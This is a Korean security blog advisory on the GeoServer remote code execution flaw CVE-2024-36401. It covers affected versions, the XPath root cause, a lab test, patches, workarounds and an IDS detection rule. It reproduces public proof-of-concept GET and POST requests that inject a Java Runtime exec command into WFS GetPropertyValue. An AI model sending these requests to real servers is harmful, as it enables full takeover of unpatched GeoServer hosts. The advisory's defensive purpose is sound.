1. GeoServer
- 지리공간 데이터를 공유하고 편집할 수 있는 자바로 개발된 오픈 소스 GIS 소프트웨어 서버
※ GIS (Geographic Information System): 지리 정보 시스템
2. 취약점
- 취약한 GeoServer에서 발생하는 원격 명령 실행 취약점 (CVSS:9.8)
> 익스플로잇에 성공한 공격자는 피해자들의 GeoServer를 환전히 장악할 수 있음
> GeoServer 장악 후 여러 멀웨어를 유포하는데 적극 활용 중
영향받는 버전
- GeoServer < 2.23.6
- 2.24.0 <= GeoServer < 2.24.4
- 2.25.0 <= GeoServer < 2.25.2
- GeoServer가 호출하는 GeoTools 라이브러리 API
> 피처 유형의 속성/속성 이름을 평가하여 이를 commons-jxpath 라이브러리에 안전하지 않게 전달
> 해당 라이브러리는 XPath 표현식을 평가할 때 임의의 코드를 실행할 수 있음
> 일반적으로 XPath 평가는 복잡한 피처 유형으로 제한되어야 하지만 구현상 결함으로 인해 해당 평가는 간단한 피처 유형에도 적용됨
※ commons-jxpath 라이브러리: XPath 표현식을 구문 분석하고 평가하도록 설계되었음
취약한 요청 | - WFS GetFeature : 웹 피처 서비스에서 피처를 검색하는 데 사용 - WFS GetPropertyValue : 피처의 특정 속성을 검색 - WMS GetMap : 웹 맵 서비스에서 맵 이미지를 요청 - WMS GetFeatureInfo : 지정된 위치의 피처에 대한 정보를 검색 - WMS GetLegendGraphic : 지도에 대한 범례 그래픽을 요청 - WPS Execute: 웹 처리 서비스 프로세스를 실행 |
2.1 PoC Test
- docker 빌드 및 실행 [3]
docker-compose up -d
- 공개된 PoC를 통해 익스플로잇 결과 408, 500 Error 발생
> 408 Error: 서버가 사용하지 않는 연결을 끊고 싶다는 것을 의미
> 500 Error: 서버에서 문제가 발생하였으나 문제의 구체적인 내용을 표시할 수 없음을 의미
※ docker 빌드를 다시 해보았으나 동일한 결과 도출
- 정상적으로 익스플로잇이 진행된 경우 원격 명령이 실행 [4]
- 공개 PoC [5]
[GET 요청]
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
[POST 요청]
POST /geoserver/wfs HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/success2')</wfs:valueReference>
</wfs:GetPropertyValue>
3. 대응방안
- 벤더사 제공 업데이트 적용 [6]
제품명 | 영향받는 버전 | 해결 버전 |
GeoServer | GeoServer < 2.23.6 | 2.23.6 |
2.24.0 <= GeoServer < 2.24.4 | 2.24.4 | |
2.25.0 <= GeoServer < 2.25.2 | 2.25.2 |
- 업데이트 적용이 불가한 경우 권고
① GeoServer가 설치된 시스템에서 아래 경로의 파일을 삭제
> webapps/geoserver/WEB-INF/lib/gt-complex-x.y.jar
※ x.y는 GeoServer의 주요 라이브러리인 GeoTools의 버전을 뜻한다. ex) GeoServer 2.25.1의 경우, gt-complex-31.1.jar
② WFS 요청 비활성화
> 불필요하거나 중요하지 않은 경우 WFS 요청 비활성화
- 탐지 정책 적용
(flow:to_server,established; content:"/geoserver/wfs"; http_uri; content:"exec|28|java|2E|lang|2E|"; nocase; http_uri;)
4. 참고
[1] https://geoserver.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-36401
[3] https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
[4] https://www.vicarius.io/vsociety/posts/geoserver-rce-cve-2024-36401
[5] https://github.com/bigb0x/CVE-2024-36401?tab=readme-ov-file
[6] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=5&categoryCode=&nttId=71483
[7] https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
[8] https://www.fortinet.com/blog/threat-research/threat-actors-exploit-geoserver-vulnerability-cve-2024-36401
[9] https://www.boannews.com/media/view.asp?idx=132739&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=132692&page=3&kind=1
'취약점 > RCE' 카테고리의 다른 글
Windows Scripting Engine RCE (CVE-2024-38178) (1) | 2024.10.27 |
---|---|
CUPS 원격 코드 실행 취약점 (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177) (0) | 2024.10.08 |
SolarWinds Web Help Desk 원격 코드 실행 취약점 (CVE-2024-28986, CVE-2024-28987) (0) | 2024.08.19 |
MHTML 원격 코드 실행 취약점 (CVE-2024-38112) (0) | 2024.07.20 |
regreSSHion (CVE-2024-6387) (0) | 2024.07.12 |